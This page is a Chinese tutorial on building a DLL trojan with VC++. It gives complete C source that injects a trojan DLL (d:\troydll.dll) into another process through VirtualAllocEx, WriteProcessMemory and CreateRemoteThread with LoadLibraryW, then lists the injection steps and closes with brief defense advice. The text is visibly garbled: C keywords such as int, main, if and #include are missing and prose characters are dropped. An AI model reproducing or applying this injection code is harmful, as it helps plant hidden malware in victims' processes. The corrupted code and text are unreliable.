vc动态链接库编程:使用VC++动态链接库编程制作DLL木马



DLL在编制中可作出巨大贡献它提供了具共性代码复用能力但是正如门高深武学若被掌握在正义的侠手上便可助其仗义江湖;但若被掌握在邪恶的徒手上则必然在江湖上掀起腥风血雨DLL正是种这样武学DLL旦染上了魔性就不再是正常DLL而是DLL木马种恶贯满盈病毒令特洛伊夜的间国破家亡

  DLL木马原理

  DLL木马实现原理是编程者在DLL中包含木马代码随后在目标主机中选择特定目标进程以某种方式强行指定该进程包含木马DLL最终达到侵袭目标系统

  正是DLL自身特点决定了以这种形式加载木马不仅可行而且具有良好隐藏性:

  (1)DLL被映射到宿主进程地址空间中它能够共享宿主进程资源并根据宿主进程在目标主机级别非法访问相应系统资源;

  (2)DLL没有独立进程地址空间从而可以避免在目标主机中留下\"蛛丝马迹\"达到隐蔽自身

  DLL木马实现了\"真隐藏\"我们在任务管理器中看不到木马\"进程\"它完全溶进了系统内核和\"真隐藏\"对应是\"假隐藏\"\"假隐藏\"木马把自己注册成为个服务虽然在任务管理器中也看不到这个进程但是\"假隐藏\"木马本质上还具备独立进程空间\"假隐藏\"只适用于Windows9x系统对于基于WINNT操作系统通过服务管理器我们可以发现系统中注册过服务

  DLL木马注入其它进程思路方法为远程线程插入

  远程线程插入技术指是通过在另个进程中创建远程线程思路方法进入那个进程内存地址空间将木马以DLL形式实现后需要使用插入到目标进程中远程线程将该木马DLL插入到目标进程地址空间即利用该线程通过WindowsAPILoadLibrary来加载木马DLL从而实现木马对系统侵害

  DLL木马注入

  这里涉及到个非常重要WindowsAPI――CreateRemoteThread和的相比我们所习惯使用CreateThreadAPI只能在进程自身内部产生个新线程而且被创建新线程和主线程共享地址空间和其他资源而CreateRemoteThread则区别它可以在另外进程中产生线程!CreateRemoteThread有如下特点:

  (1)CreateRemoteThread较CreateThread多个参数hProcess该参数用于指定要创建线程远程进程原型为:

HANDLECreateRemoteThread(
 HANDLEhProcess,//远程进程句柄
 LPSECURITY_ATTRIBUTESlpThreadAttributes,
 SIZE_TdwStackSize,
 LPTHREAD_START_ROUTINElpStartAddress,
 LPVOIDlpParameter,
 DWORDdwCreationFlags,
 LPDWORDlpThreadId
);

  (2)线程代码不能位于我们用来注入DLL木马进程所在地址空间中也就是说我们不能想当然地自己写并把这个作为远程线程入口

  (3)不能把本进程指针作为CreateRemoteThread参数本进程内存空间和远程进程
以下由作者ShotgunDLL木马注入简化而得(单击此处下载在经典书籍Windows核心编程中我们也可以看到类似例子)它将d盘根目录下troydll.dll插入到ID为4000进程中:

#<windows.h>
#<stdlib.h>
#<stdio.h>

voidCheckError(,,char*);//出错处理

PDWORDpdwThreadId; [Page]
HANDLEhRemoteThread,hRemoteProcess;
DWORDfdwCreate,dwStackSize,dwRemoteProcessId;
PWSTRpszLibFileRemote=NULL;

void(argc,char**argv)
{
 iReturnCode;
 charlpDllFullPathName[MAX_PATH];
 WCHARpszLibFileName[MAX_PATH]={0};

 dwRemoteProcessId=4000;
 strcpy(lpDllFullPathName,\"d:\\\\troydll.dll\");
 //将DLL文件全路径ANSI码转换成UNICODE码
 iReturnCode=MultiByteToWideChar(CP_ACP,MB_ERR_INVALID_CHARS,
  lpDllFullPathName,strlen(lpDllFullPathName),
  pszLibFileName,MAX_PATH);
 CheckError(iReturnCode,0,\"MultByteToWideChar\");
 //打开远程进程
 hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|//允许创建线程
  PROCESS_VM_OPERATION|//允许VM操作
  PROCESS_VM_WRITE,//允许VM写
  FALSE,dwRemoteProcessId);
 CheckError(()hRemoteProcess,NULL,\"RemoteProcessnotExistorAccessDenied!\");
 //计算DLL路径名需要内存空间
 cb=(1+lstrlenW(pszLibFileName))*(WCHAR);
 pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE);
 CheckError(()pszLibFileRemote,NULL,\"VirtualAllocEx\");
 //将DLL路径名复制到远程进程内存空间
 iReturnCode=WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)pszLibFileName,cb,NULL);
 CheckError(iReturnCode,false,\"WriteProcessMemory\");
 //计算LoadLibraryW入口地址
 PTHREAD_START_ROUTINEpfnStartAddr=(PTHREAD_START_ROUTINE)
   GetProcAddress(GetModuleHandle(TEXT(\"Kernel32\")),\"LoadLibraryW\");
 CheckError(()pfnStartAddr,NULL,\"GetProcAddress\");
 //启动远程线程通过远程线程用户DLL文件


 hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL);
 CheckError(()hRemoteThread,NULL,\"CreateRemoteThread\");
 //等待远程线程退出
 WaitForSingleObject(hRemoteThread,INFINITE);
 //清场处理
 (pszLibFileRemote!=NULL)
 {
  VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);
 }
 (hRemoteThread!=NULL)
 {
  CloseHandle(hRemoteThread); [Page]
 }
 (hRemoteProcess!=NULL)
 {
  CloseHandle(hRemoteProcess);
 }
}

//处理CheckError
voidCheckError(iReturnCode,iErrorCode,char*pErrorMsg)
{
 (iReturnCodeiErrorCode)
 {
  prf(\"%sError:%d\\n\\n\",pErrorMsg,GetLastError);
  //清场处理
  (pszLibFileRemote!=NULL)
  {
   VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);
  }
  (hRemoteThread!=NULL)
  {
   CloseHandle(hRemoteThread);
  }
  (hRemoteProcess!=NULL)
  {
   CloseHandle(hRemoteProcess);
  }
  exit(0);
 }
}

  从DLL木马注入源代码中我们可以分析出DLL木马注入般步骤为:

  (1)取得宿主进程(即要注入木马进程)进程IDdwRemoteProcessId;

  (2)取得DLL完全路径并将其转换为宽模式pszLibFileName;

  (3)利用WindowsAPIOpenProcess打开宿主进程应该开启下列选项:

  a.PROCESS_CREATE_THREAD:允许在宿主进程中创建线程;

  b.PROCESS_VM_OPERATION:允许对宿主进程中进行VM操作;

  c.PROCESS_VM_WRITE:允许对宿主进程进行VM写

  (4)利用WindowsAPIVirtualAllocEx在远程线程VM中分配DLL完整路径宽所需存储空间并利用WindowsAPIWriteProcessMemory将完整路径写入该存储空间;

  (5)利用WindowsAPIGetProcAddress取得Kernel32模块中LoadLibraryW地址这个将作为随后将启动远程线程入口

  (6)利用WindowsAPICreateRemoteThread启动远程线程将LoadLibraryW地址作为远程线程入口地址将宿主进程里被分配空间中存储完整DLL路径作为线程入口参数以另其启动指定DLL;

  (7)清理现场

  DLL木马防治

  从DLL木马原理和个简单DLL木马中我们学到了DLL木马工作方式这可以帮助我们更好地理解DLL木马病毒防治手段

  木马被植入后要打开网络端口和攻击通信所以防火墙是抵御木马攻击最好思路方法防火墙可以进行数据包过滤检查我们可以让防火墙对通讯端口进行限制只允许系统接受几个特定端口数据请求这样即使木马植入成功攻击者也无法进入到受侵系统防火墙把攻击者和木马分隔开来了

  对于DLL木马种简单观察思路方法也许可以帮助用户发现的我们查看运行进程所依赖DLL如果其中有些莫名其妙DLL则可以断言这个进程是宿主进程系统被植入了DLL木马\"道高魔高丈\"现如今DLL木马也发展到了更高境界它们看起来也不再\"莫名其妙\"在最新些木马里面开始采用了先进DLL陷阱技术编程者用特洛伊DLL替换已知系统DLL特洛伊DLL对所有进行过滤对于正常使用转发器直接转发给被替换系统DLL;对于些事先约定好特殊情况DLL会执行些相应操作
Tags:  vc调用dll vcdll vc动态链接库编程

延伸阅读

最新评论

发表评论